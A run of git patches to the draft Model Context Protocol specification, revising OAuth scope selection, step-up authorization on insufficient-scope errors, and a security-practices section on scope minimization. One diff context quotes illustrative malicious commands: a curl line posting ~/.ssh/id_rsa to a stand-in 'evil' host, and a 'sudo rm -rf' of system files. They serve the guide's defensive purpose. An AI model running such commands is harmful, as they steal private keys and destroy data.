From 1d6755485bb7fa3e6e31515f3e1d223574027c6c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Sun, 14 Sep 2025 20:16:17 -0700
Subject: [PATCH 34/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 91806964c..923b1c382 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -487,9 +487,9 @@ Following the principle of least privilege, MCP clients **SHOULD** request only
MCP server developers **SHOULD** design their scope architecture to minimize initial authorization friction while supporting incremental access through runtime scope upgrades:
-**`scopes_supported` as Minimal Set**: The `scopes_supported` field in the Protected Resource Metadata document **SHOULD** contain only the minimal set of scopes necessary for basic MCP server functionality. This ensures that no overpermissioned tokens are issued by default.
-
-**Incremental Scope Addition**: Additional scopes required for specific operations **SHOULD** be requested incrementally through 401 `WWW-Authenticate` headers on an as-needed basis.
+- **`scopes_supported` as Minimal Set**: The `scopes_supported` field in the Protected Resource Metadata document **SHOULD** contain only the minimal set of scopes necessary for basic MCP server functionality. This ensures that no overpermissioned tokens are issued by default.
+ - MCP server developers **MUST NOT** assume that a MCP client will always pick specific scopes. Clients **MAY** use select or all scopes in `scopes_supported` depending on implementation.
+- **Incremental Scope Addition**: Additional scopes required for specific operations **SHOULD** be requested incrementally through 401 `WWW-Authenticate` headers on an as-needed basis.
Authorization servers **MAY** issue access tokens with narrower scopes than requested, as permitted by
[RFC 6749 Section 1.5](https://datatracker.ietf.org/doc/html/rfc6749#section-1.5), when evaluating requested scopes against prior user consent.
From 66d7118d3b61ac51feff9de67e393ccd511ee5e4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Sun, 14 Sep 2025 20:19:04 -0700
Subject: [PATCH 35/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 4 +---
1 file changed, 1 insertion(+), 3 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 923b1c382..c036d57c4 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -191,14 +191,12 @@ only the scopes necessary for their intended operations. During the initial auth
1. **Use `scope` parameter** from the initial `WWW-Authenticate` header in the 401 response, if provided
2. **If `scope` is not available**, use scopes defined in `scopes_supported` from the Protected Resource Metadata document
-Clients **MAY** use one, several, or all scopes from `scopes_supported` if `scope` is not available.
+When no `scope` parameter is provided in the `WWW-Authenticate` header, clients **SHOULD** request all scopes from `scopes_supported`. This approach accommodates the general-purpose nature of MCP clients, which typically lack domain-specific knowledge to make informed decisions about individual scope selection. Requesting all available scopes allows the authorization server and end-user to determine appropriate permissions during the consent process.
Clients **MAY** use out-of-band information to decide on scope selection and incrementally ask the user for consent.
This approach minimizes user friction while following the principle of least privilege. The `scopes_supported` field is intended to represent the minimal set of scopes necessary for basic functionality (see [Scope Minimization](#scope-minimization)), with additional scopes requested incrementally through the runtime scope upgrade flow described in the [Scope Error Handling](#scope-error-handling) section.
-See the [Scope Minimization](#scope-minimization) section for additional security considerations related to scope selection.
-
### Authorization Flow Steps
The complete Authorization flow proceeds as follows:
From 3d371dbd455a2f36fb94ce1152b86cd3c1839112 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Sun, 14 Sep 2025 20:40:20 -0700
Subject: [PATCH 36/61] Update authorization.mdx
---
.../draft/basic/authorization.mdx | 31 ++++++++++---------
1 file changed, 17 insertions(+), 14 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index c036d57c4..5a781796a 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -349,12 +349,16 @@ When a client makes a request with an access token with insufficient scope durin
- `resource_metadata` - the URI of the Protected Resource Metadata document (for consistency with 401 responses)
- `error_description` (optional) - human-readable description of the error
+**Server Scope Management**: When responding with insufficient scope errors, servers **SHOULD** include both the newly required scopes and any existing scopes that should be retained in the `scope` parameter. This approach reduces authorization friction by preventing clients from losing previously granted permissions and allows servers to group related operations intelligently.
+
+Servers **SHOULD** consider the user experience impact when determining which scopes to include in the response, as misconfigured scopes may require frequent user interaction.
+
Example insufficient scope response:
```http
HTTP/1.1 403 Forbidden
WWW-Authenticate: Bearer error="insufficient_scope",
- scope="files:read files:write",
+ scope="files:read files:write user:profile",
resource_metadata="https://mcp.example.com/.well-known/oauth-protected-resource",
error_description="Additional file write permission required"
```
@@ -369,17 +373,15 @@ Clients acting on behalf of a user **SHOULD** attempt the upgrade flow. Clients
The upgrade flow is as follows:
1. **Parse error information** from the authorization server response or `WWW-Authenticate` header
-2. **Determine required scopes** using the following algorithm:
- - If the `scope` parameter is present in the `WWW-Authenticate` header, use those scopes
- - If `scope` is not available, use all scopes listed in `scopes_supported` from the Protected Resource Metadata document
-3. **Calculate the union** of current scopes and newly required scopes
-4. **Initiate (re-)authorization** with the scope set
-5. **Retry the original request** with the new authorization no more than a few times and treat this as a permanent authorization failure
-
-Clients **SHOULD** implement retry limits and **SHOULD** cache scope upgrade attempts to avoid repeated failures
-for the same resource and operation combination. The cache should track failed authorization attempts by resource
-and the scopes that were denied, preventing clients from repeatedly requesting the same permissions that were
-previously denied and avoiding unnecessary authorization server requests for known-failing scenarios.
+2. **Use the scopes exactly as specified** in the `WWW-Authenticate` header, trusting the server to include any necessary existing scopes along with the newly required scopes
+3. **Initiate (re-)authorization** with the specified scope set
+4. **Retry the original request** with the new authorization no more than a few times and treat this as a permanent authorization failure
+
+Clients **SHOULD** implement retry limits and **SHOULD** cache scope upgrade attempts to avoid
+repeated failures for the same resource and operation combination. The cache should track failed
+authorization attempts by resource and the scopes that were denied, preventing clients from
+repeatedly requesting the same permissions that were previously denied and avoiding unnecessary
+authorization server requests for known-failing scenarios.
## Security Considerations
@@ -486,8 +488,7 @@ Following the principle of least privilege, MCP clients **SHOULD** request only
MCP server developers **SHOULD** design their scope architecture to minimize initial authorization friction while supporting incremental access through runtime scope upgrades:
- **`scopes_supported` as Minimal Set**: The `scopes_supported` field in the Protected Resource Metadata document **SHOULD** contain only the minimal set of scopes necessary for basic MCP server functionality. This ensures that no overpermissioned tokens are issued by default.
- - MCP server developers **MUST NOT** assume that a MCP client will always pick specific scopes. Clients **MAY** use select or all scopes in `scopes_supported` depending on implementation.
-- **Incremental Scope Addition**: Additional scopes required for specific operations **SHOULD** be requested incrementally through 401 `WWW-Authenticate` headers on an as-needed basis.
+- **Incremental Scope Addition**: Additional scopes required for specific operations **SHOULD** be requested incrementally through 401 `WWW-Authenticate` headers on an as-needed basis.
Authorization servers **MAY** issue access tokens with narrower scopes than requested, as permitted by
[RFC 6749 Section 1.5](https://datatracker.ietf.org/doc/html/rfc6749#section-1.5), when evaluating requested scopes against prior user consent.
@@ -498,4 +499,6 @@ MCP servers **SHOULD** provide scope guidance through the `scope` parameter in `
over-privileged tokens, which increases the potential impact if tokens are compromised, while also reducing user friction that
can occur when large scope requests cause user concern or rejection during authorization.
+When providing scope guidance in `WWW-Authenticate` headers, servers **SHOULD** consider grouping related operations to minimize authorization friction. For example, when a client needs `write:post` permissions, servers **MAY** also include related scopes like `read:post` in the same request to prevent subsequent authorization flows for common operation patterns.
+
MCP servers **SHOULD** implement fine-grained scopes that allow clients to request access to only the specific primitives and operations they need.
From 4b207564e13717d7e70c4cd4035ced9dc9c36bf2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Sun, 14 Sep 2025 20:55:04 -0700
Subject: [PATCH 37/61] Update authorization.mdx
---
.../draft/basic/authorization.mdx | 23 +++++++++++++++----
1 file changed, 18 insertions(+), 5 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 5a781796a..4d98c68dc 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -349,7 +349,13 @@ When a client makes a request with an access token with insufficient scope durin
- `resource_metadata` - the URI of the Protected Resource Metadata document (for consistency with 401 responses)
- `error_description` (optional) - human-readable description of the error
-**Server Scope Management**: When responding with insufficient scope errors, servers **SHOULD** include both the newly required scopes and any existing scopes that should be retained in the `scope` parameter. This approach reduces authorization friction by preventing clients from losing previously granted permissions and allows servers to group related operations intelligently.
+**Server Scope Management**: When responding with insufficient scope errors, servers **SHOULD** include the scopes needed to satisfy the current request in the `scope` parameter. Servers have flexibility in determining which scopes to include:
+
+- **Minimum approach**: Include only the newly required scopes for the specific operation
+- **Recommended approach**: Include both existing relevant scopes and newly required scopes to prevent clients from losing previously granted permissions
+- **Extended approach**: Include existing scopes, newly required scopes, and related scopes that commonly work together
+
+The choice depends on the server's assessment of user experience impact and authorization friction. Servers **SHOULD** be consistent in their scope inclusion strategy to provide predictable behavior for clients.
Servers **SHOULD** consider the user experience impact when determining which scopes to include in the response, as misconfigured scopes may require frequent user interaction.
@@ -373,8 +379,10 @@ Clients acting on behalf of a user **SHOULD** attempt the upgrade flow. Clients
The upgrade flow is as follows:
1. **Parse error information** from the authorization server response or `WWW-Authenticate` header
-2. **Use the scopes exactly as specified** in the `WWW-Authenticate` header, trusting the server to include any necessary existing scopes along with the newly required scopes
-3. **Initiate (re-)authorization** with the specified scope set
+2. **Determine required scopes** using the following algorithm:
+ - If the `scope` parameter is present in the `WWW-Authenticate` header, use those scopes exactly as specified (trusting the server to include any necessary existing scopes along with newly required scopes)
+ - If `scope` is not available, use all scopes listed in `scopes_supported` from the Protected Resource Metadata document
+3. **Initiate (re-)authorization** with the determined scope set
4. **Retry the original request** with the new authorization no more than a few times and treat this as a permanent authorization failure
Clients **SHOULD** implement retry limits and **SHOULD** cache scope upgrade attempts to avoid
@@ -487,7 +495,7 @@ Following the principle of least privilege, MCP clients **SHOULD** request only
MCP server developers **SHOULD** design their scope architecture to minimize initial authorization friction while supporting incremental access through runtime scope upgrades:
-- **`scopes_supported` as Minimal Set**: The `scopes_supported` field in the Protected Resource Metadata document **SHOULD** contain only the minimal set of scopes necessary for basic MCP server functionality. This ensures that no overpermissioned tokens are issued by default.
+- **`scopes_supported` as Minimal Set**: The `scopes_supported` field in the Protected Resource Metadata document **SHOULD** contain only the minimal set of scopes necessary for basic MCP server functionality. This minimal set represents the core permissions needed for essential operations, making it appropriate for clients to request all scopes in this field during initial authorization without violating the principle of least privilege.
- **Incremental Scope Addition**: Additional scopes required for specific operations **SHOULD** be requested incrementally through 401 `WWW-Authenticate` headers on an as-needed basis.
Authorization servers **MAY** issue access tokens with narrower scopes than requested, as permitted by
@@ -499,6 +507,11 @@ MCP servers **SHOULD** provide scope guidance through the `scope` parameter in `
over-privileged tokens, which increases the potential impact if tokens are compromised, while also reducing user friction that
can occur when large scope requests cause user concern or rejection during authorization.
-When providing scope guidance in `WWW-Authenticate` headers, servers **SHOULD** consider grouping related operations to minimize authorization friction. For example, when a client needs `write:post` permissions, servers **MAY** also include related scopes like `read:post` in the same request to prevent subsequent authorization flows for common operation patterns.
+When providing scope guidance in `WWW-Authenticate` headers, servers **SHOULD** consider their scope inclusion strategy to minimize authorization friction:
+
+- **Conservative approach**: Include only the specific scopes required for the requested operation
+- **User-friendly approach**: Group commonly used related scopes together to reduce subsequent authorization flows
+
+For example, when a client needs `write:post` permissions, servers **MAY** also include related scopes like `read:post` in the same request to prevent subsequent authorization flows for common operation patterns. However, servers **SHOULD** avoid including unrelated or overly broad scopes that don't serve the client's likely immediate needs.
MCP servers **SHOULD** implement fine-grained scopes that allow clients to request access to only the specific primitives and operations they need.
From c62b1a931fed71aa2614a4d1a019598a1d6e9114 Mon Sep 17 00:00:00 2001
From: "den (work)" <53200638+localden@users.noreply.github.com>
Date: Wed, 17 Sep 2025 09:05:33 -0700
Subject: [PATCH 38/61] Update based on Paul's recommendation
---
.../draft/basic/authorization.mdx | 28 +----------
.../draft/basic/security_best_practices.mdx | 49 ++++++++++++++++++-
2 files changed, 49 insertions(+), 28 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 4d98c68dc..362de3a6b 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -195,7 +195,7 @@ When no `scope` parameter is provided in the `WWW-Authenticate` header, clients
Clients **MAY** use out-of-band information to decide on scope selection and incrementally ask the user for consent.
-This approach minimizes user friction while following the principle of least privilege. The `scopes_supported` field is intended to represent the minimal set of scopes necessary for basic functionality (see [Scope Minimization](#scope-minimization)), with additional scopes requested incrementally through the runtime scope upgrade flow described in the [Scope Error Handling](#scope-error-handling) section.
+This approach minimizes user friction while following the principle of least privilege. The `scopes_supported` field is intended to represent the minimal set of scopes necessary for basic functionality (see [Scope Minimization](/specification/draft/basic/security_best_practices#scope-minimization)), with additional scopes requested incrementally through the runtime scope upgrade flow described in the [Scope Error Handling](#scope-error-handling) section.
### Authorization Flow Steps
@@ -489,29 +489,3 @@ to explicitly specify the target resource for which the token is being requested
[RFC 9728 Section 7.4](https://datatracker.ietf.org/doc/html/rfc9728#section-7.4). This ensures that access tokens are bound to their intended resources and
cannot be misused across different services.
-### Scope Minimization
-
-Following the principle of least privilege, MCP clients **SHOULD** request only the minimum scopes necessary for their intended operations.
-
-MCP server developers **SHOULD** design their scope architecture to minimize initial authorization friction while supporting incremental access through runtime scope upgrades:
-
-- **`scopes_supported` as Minimal Set**: The `scopes_supported` field in the Protected Resource Metadata document **SHOULD** contain only the minimal set of scopes necessary for basic MCP server functionality. This minimal set represents the core permissions needed for essential operations, making it appropriate for clients to request all scopes in this field during initial authorization without violating the principle of least privilege.
-- **Incremental Scope Addition**: Additional scopes required for specific operations **SHOULD** be requested incrementally through 401 `WWW-Authenticate` headers on an as-needed basis.
-
-Authorization servers **MAY** issue access tokens with narrower scopes than requested, as permitted by
-[RFC 6749 Section 1.5](https://datatracker.ietf.org/doc/html/rfc6749#section-1.5), when evaluating requested scopes against prior user consent.
-This enables secure, progressive access patterns where clients can adjust scope requirements over time while adhering to the principle of least privilege.
-
-MCP servers **SHOULD** provide scope guidance through the `scope` parameter in `WWW-Authenticate` headers as defined in
-[RFC 6750 Section 3](https://datatracker.ietf.org/doc/html/rfc6750#section-3). This guidance helps clients avoid requesting
-over-privileged tokens, which increases the potential impact if tokens are compromised, while also reducing user friction that
-can occur when large scope requests cause user concern or rejection during authorization.
-
-When providing scope guidance in `WWW-Authenticate` headers, servers **SHOULD** consider their scope inclusion strategy to minimize authorization friction:
-
-- **Conservative approach**: Include only the specific scopes required for the requested operation
-- **User-friendly approach**: Group commonly used related scopes together to reduce subsequent authorization flows
-
-For example, when a client needs `write:post` permissions, servers **MAY** also include related scopes like `read:post` in the same request to prevent subsequent authorization flows for common operation patterns. However, servers **SHOULD** avoid including unrelated or overly broad scopes that don't serve the client's likely immediate needs.
-
-MCP servers **SHOULD** implement fine-grained scopes that allow clients to request access to only the specific primitives and operations they need.
diff --git a/docs/specification/draft/basic/security_best_practices.mdx b/docs/specification/draft/basic/security_best_practices.mdx
index 6c9f8e5ce..17a46b9fa 100644
--- a/docs/specification/draft/basic/security_best_practices.mdx
+++ b/docs/specification/draft/basic/security_best_practices.mdx
@@ -287,4 +287,51 @@ MCP servers intending for their servers to be run locally **SHOULD** implement m
- Restrict access if using an HTTP transport, such as:
- Require an authorization token
- Use unix domain sockets or other Interprocess Communication (IPC) mechanisms with restricted access
-```
+
+### Scope Minimization
+
+Poor scope design increases token compromise impact, elevates user friction, and obscures audit trails.
+
+#### Attack Description
+
+An attacker obtains (via log leakage, memory scraping, or local interception) an access token carrying broad scopes (`files:*`, `db:*`, `admin:*`) that were granted up front because the MCP server exposed every scope in `scopes_supported` and the client requested them all. The token enables lateral data access, privilege chaining, and difficult revocation without re-consenting the entire surface.
+
+#### Risks
+
+- Expanded blast radius: stolen broad token enables unrelated tool/resource access
+- Higher friction on revocation: revoking a max-privilege token disrupts all workflows
+- Audit noise: single omnibus scope masks user intent per operation
+- Privilege chaining: attacker can immediately invoke high-risk tools without further elevation prompts
+- Consent abandonment: users decline dialogs listing excessive scopes
+- Scope inflation blindness: lack of metrics makes over-broad requests normalised
+
+#### Mitigation
+
+Implement a progressive, least-privilege scope model:
+
+- Minimal initial scope set (e.g., `mcp:tools-basic`) containing only low-risk discovery/read operations
+- Incremental elevation via targeted `WWW-Authenticate` `scope="..."` challenges when privileged operations are first attempted
+- Down-scoping tolerance: server should accept reduced scope tokens; auth server MAY issue a subset of requested scopes
+
+Server guidance:
+
+- Emit precise scope challenges; avoid returning the full catalog
+- Log elevation events (scope requested, granted subset) with correlation IDs
+
+Client guidance:
+
+- Begin with only baseline scopes (or those specified by initial `WWW-Authenticate`)
+- Cache recent failures to avoid repeated elevation loops for denied scopes
+- Present human-readable rationale: "Need files:write to save changes."
+- Offer user option to decline individual optional scopes when multiple are suggested together
+
+#### Common Mistakes
+
+- Publishing all possible scopes in `scopes_supported`
+- Using wildcard or omnibus scopes (`*`, `all`, `full-access`)
+- Bundling unrelated privileges to preempt future prompts
+- Returning entire scope catalog in every challenge
+- Silent scope semantic changes without versioning
+- Treating claimed scopes in token as sufficient without server-side authorization logic
+
+Proper minimization constrains compromise impact, improves audit clarity, and reduces consent churn.
From 3306c31aaa7915ffcff01b8ee4ba21f6385c3a20 Mon Sep 17 00:00:00 2001
From: Den Delimarsky <53200638+localden@users.noreply.github.com>
Date: Thu, 18 Sep 2025 09:21:27 -0700
Subject: [PATCH 39/61] Update docs/specification/draft/basic/authorization.mdx
Co-authored-by: Aaron Parecki
---
docs/specification/draft/basic/authorization.mdx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 362de3a6b..f633c6cfb 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -189,7 +189,7 @@ only the scopes necessary for their intended operations. During the initial auth
**SHOULD** follow this priority order for scope selection:
1. **Use `scope` parameter** from the initial `WWW-Authenticate` header in the 401 response, if provided
-2. **If `scope` is not available**, use scopes defined in `scopes_supported` from the Protected Resource Metadata document
+2. **If `scope` is not available**, use all scopes defined in `scopes_supported` from the Protected Resource Metadata document
When no `scope` parameter is provided in the `WWW-Authenticate` header, clients **SHOULD** request all scopes from `scopes_supported`. This approach accommodates the general-purpose nature of MCP clients, which typically lack domain-specific knowledge to make informed decisions about individual scope selection. Requesting all available scopes allows the authorization server and end-user to determine appropriate permissions during the consent process.
From 641c5970206740a60bc5032680e3247d85cd3e4a Mon Sep 17 00:00:00 2001
From: Den Delimarsky <53200638+localden@users.noreply.github.com>
Date: Thu, 18 Sep 2025 09:21:36 -0700
Subject: [PATCH 40/61] Update docs/specification/draft/basic/authorization.mdx
Co-authored-by: Aaron Parecki
---
docs/specification/draft/basic/authorization.mdx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index f633c6cfb..5b6616748 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -107,7 +107,7 @@ WWW-Authenticate: Bearer resource_metadata="https://mcp.example.com/.well-known/
MCP clients **MUST** be able to parse `WWW-Authenticate` headers and respond appropriately to `HTTP 401 Unauthorized` responses from the MCP server.
-If no `scope` parameter is provided in the `WWW-Authenticate` header, clients should fall back to requesting all
+If no `scope` parameter is provided in the `WWW-Authenticate` header, clients SHOULD fall back to requesting all
scopes listed in `scopes_supported` from the Protected Resource Metadata document.
#### Server Metadata Discovery
From 95776e1e2a4e11b535322f9d9ac8f034a623c49d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Thu, 18 Sep 2025 16:41:50 -0700
Subject: [PATCH 41/61] Fix warnings
---
docs/specification/draft/basic/authorization.mdx | 1 -
docs/specification/draft/basic/security_best_practices.mdx | 3 ++-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 5b6616748..72a72ae36 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -488,4 +488,3 @@ MCP clients **MUST** implement and use the `resource` parameter as defined in [R
to explicitly specify the target resource for which the token is being requested. This requirement aligns with the recommendation in
[RFC 9728 Section 7.4](https://datatracker.ietf.org/doc/html/rfc9728#section-7.4). This ensures that access tokens are bound to their intended resources and
cannot be misused across different services.
-
diff --git a/docs/specification/draft/basic/security_best_practices.mdx b/docs/specification/draft/basic/security_best_practices.mdx
index 17a46b9fa..5ba8d8f09 100644
--- a/docs/specification/draft/basic/security_best_practices.mdx
+++ b/docs/specification/draft/basic/security_best_practices.mdx
@@ -287,7 +287,7 @@ MCP servers intending for their servers to be run locally **SHOULD** implement m
- Restrict access if using an HTTP transport, such as:
- Require an authorization token
- Use unix domain sockets or other Interprocess Communication (IPC) mechanisms with restricted access
-
+
### Scope Minimization
Poor scope design increases token compromise impact, elevates user friction, and obscures audit trails.
@@ -335,3 +335,4 @@ Client guidance:
- Treating claimed scopes in token as sufficient without server-side authorization logic
Proper minimization constrains compromise impact, improves audit clarity, and reduces consent churn.
+```
From d99723f78d6c1440a2049853f5b9c9003f68a610 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Thu, 18 Sep 2025 16:42:25 -0700
Subject: [PATCH 42/61] Update security_best_practices.mdx
---
docs/specification/draft/basic/security_best_practices.mdx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/security_best_practices.mdx b/docs/specification/draft/basic/security_best_practices.mdx
index 5ba8d8f09..f2956263d 100644
--- a/docs/specification/draft/basic/security_best_practices.mdx
+++ b/docs/specification/draft/basic/security_best_practices.mdx
@@ -248,6 +248,7 @@ npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil
# Privilege escalation
sudo rm -rf /important/system/files && echo "MCP server installed!"
+```
#### Risks
@@ -335,4 +336,3 @@ Client guidance:
- Treating claimed scopes in token as sufficient without server-side authorization logic
Proper minimization constrains compromise impact, improves audit clarity, and reduces consent churn.
-```
From 97e29f524a99a311411cfa5bb46dc49e73a774b4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Thu, 18 Sep 2025 16:45:18 -0700
Subject: [PATCH 43/61] Update security_best_practices.mdx
---
docs/specification/draft/basic/security_best_practices.mdx | 1 +
1 file changed, 1 insertion(+)
diff --git a/docs/specification/draft/basic/security_best_practices.mdx b/docs/specification/draft/basic/security_best_practices.mdx
index f2956263d..bb031d5a7 100644
--- a/docs/specification/draft/basic/security_best_practices.mdx
+++ b/docs/specification/draft/basic/security_best_practices.mdx
@@ -284,6 +284,7 @@ The MCP client **SHOULD** implement additional checks and guardrails to mitigate
- Use platform-appropriate sandboxing technologies (containers, chroot, application sandboxes, etc.)
MCP servers intending for their servers to be run locally **SHOULD** implement measures to prevent unauthorized usage from malicious processes:
+
- Use the `stdio` transport to limit access to just the MCP client
- Restrict access if using an HTTP transport, such as:
- Require an authorization token
From 602d203fed251dc89bb7b12cbc1556a3b46b9331 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Thu, 18 Sep 2025 17:20:50 -0700
Subject: [PATCH 44/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 16 ++++++++++------
1 file changed, 10 insertions(+), 6 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 72a72ae36..9fed7de8b 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -195,7 +195,11 @@ When no `scope` parameter is provided in the `WWW-Authenticate` header, clients
Clients **MAY** use out-of-band information to decide on scope selection and incrementally ask the user for consent.
-This approach minimizes user friction while following the principle of least privilege. The `scopes_supported` field is intended to represent the minimal set of scopes necessary for basic functionality (see [Scope Minimization](/specification/draft/basic/security_best_practices#scope-minimization)), with additional scopes requested incrementally through the runtime scope upgrade flow described in the [Scope Error Handling](#scope-error-handling) section.
+This approach minimizes user friction while following the principle of least privilege.
+The `scopes_supported` field is intended to represent the minimal set of scopes necessary
+for basic functionality (see [Scope Minimization](/specification/draft/basic/security_best_practices#scope-minimization)),
+with additional scopes requested incrementally through the step-up authorization flow steps
+described in the [Scope Error Handling](#scope-error-handling) section.
### Authorization Flow Steps
@@ -369,14 +373,14 @@ WWW-Authenticate: Bearer error="insufficient_scope",
error_description="Additional file write permission required"
```
-##### Client Scope Upgrade Flow
+##### Step-Up Authorization Flow
Clients will receive scope-related errors during initial authorization or at runtime (`insufficient_scope`).
-Clients may respond to these errors by requesting a new access token with an increased set of scopes via an upgrade flow.
-Clients acting on behalf of a user **SHOULD** attempt the upgrade flow. Clients acting on their own behalf (`client_credentials` clients)
-**MAY** attempt the upgrade flow or abort the request immediately.
+Clients may respond to these errors by requesting a new access token with an increased set of scopes via a step-up authorization flow.
+Clients acting on behalf of a user **SHOULD** attempt the step-up authorization flow. Clients acting on their own behalf (`client_credentials` clients)
+**MAY** attempt the step-up authorization flow or abort the request immediately.
-The upgrade flow is as follows:
+The flow is as follows:
1. **Parse error information** from the authorization server response or `WWW-Authenticate` header
2. **Determine required scopes** using the following algorithm:
From 24c7f5862ec2f4dbf7fc4bac2376538f616ccba3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Thu, 18 Sep 2025 17:22:07 -0700
Subject: [PATCH 45/61] Update authorization.mdx
---
.../draft/basic/authorization.mdx | 22 +++++++++++++------
1 file changed, 15 insertions(+), 7 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 9fed7de8b..bd2f2773b 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -107,7 +107,7 @@ WWW-Authenticate: Bearer resource_metadata="https://mcp.example.com/.well-known/
MCP clients **MUST** be able to parse `WWW-Authenticate` headers and respond appropriately to `HTTP 401 Unauthorized` responses from the MCP server.
-If no `scope` parameter is provided in the `WWW-Authenticate` header, clients SHOULD fall back to requesting all
+If no `scope` parameter is provided in the `WWW-Authenticate` header, clients **SHOULD** fall back to requesting all
scopes listed in `scopes_supported` from the Protected Resource Metadata document.
#### Server Metadata Discovery
@@ -340,11 +340,15 @@ Servers **MUST** return appropriate HTTP status codes for authorization errors:
#### Scope Error Handling
-This section covers handling insufficient scope errors during runtime operations when a client already has a token but needs additional permissions. This follows the error handling patterns defined in [OAuth 2.1 Section 5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5) and leverages the metadata fields from [RFC 9728 (OAuth 2.0 Protected Resource Metadata)](https://datatracker.ietf.org/doc/html/rfc9728).
+This section covers handling insufficient scope errors during runtime operations when
+a client already has a token but needs additional permissions. This follows the error
+handling patterns defined in [OAuth 2.1 Section 5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5)
+and leverages the metadata fields from [RFC 9728 (OAuth 2.0 Protected Resource Metadata)](https://datatracker.ietf.org/doc/html/rfc9728).
##### Runtime Insufficient Scope Errors
-When a client makes a request with an access token with insufficient scope during runtime operations, the server **SHOULD** respond with:
+When a client makes a request with an access token with insufficient
+scope during runtime operations, the server **SHOULD** respond with:
- `HTTP 403 Forbidden` status code (per [RFC 6750 Section 3.1](https://datatracker.ietf.org/doc/html/rfc6750#section-3.1))
- `WWW-Authenticate` header with the `Bearer` scheme and additional parameters:
@@ -353,15 +357,19 @@ When a client makes a request with an access token with insufficient scope durin
- `resource_metadata` - the URI of the Protected Resource Metadata document (for consistency with 401 responses)
- `error_description` (optional) - human-readable description of the error
-**Server Scope Management**: When responding with insufficient scope errors, servers **SHOULD** include the scopes needed to satisfy the current request in the `scope` parameter. Servers have flexibility in determining which scopes to include:
+**Server Scope Management**: When responding with insufficient scope errors, servers
+**SHOULD** include the scopes needed to satisfy the current request in the `scope`
+parameter. Servers have flexibility in determining which scopes to include:
- **Minimum approach**: Include only the newly required scopes for the specific operation
- **Recommended approach**: Include both existing relevant scopes and newly required scopes to prevent clients from losing previously granted permissions
- **Extended approach**: Include existing scopes, newly required scopes, and related scopes that commonly work together
-The choice depends on the server's assessment of user experience impact and authorization friction. Servers **SHOULD** be consistent in their scope inclusion strategy to provide predictable behavior for clients.
+The choice depends on the server's assessment of user experience impact and authorization friction.
+Servers **SHOULD** be consistent in their scope inclusion strategy to provide predictable behavior for clients.
-Servers **SHOULD** consider the user experience impact when determining which scopes to include in the response, as misconfigured scopes may require frequent user interaction.
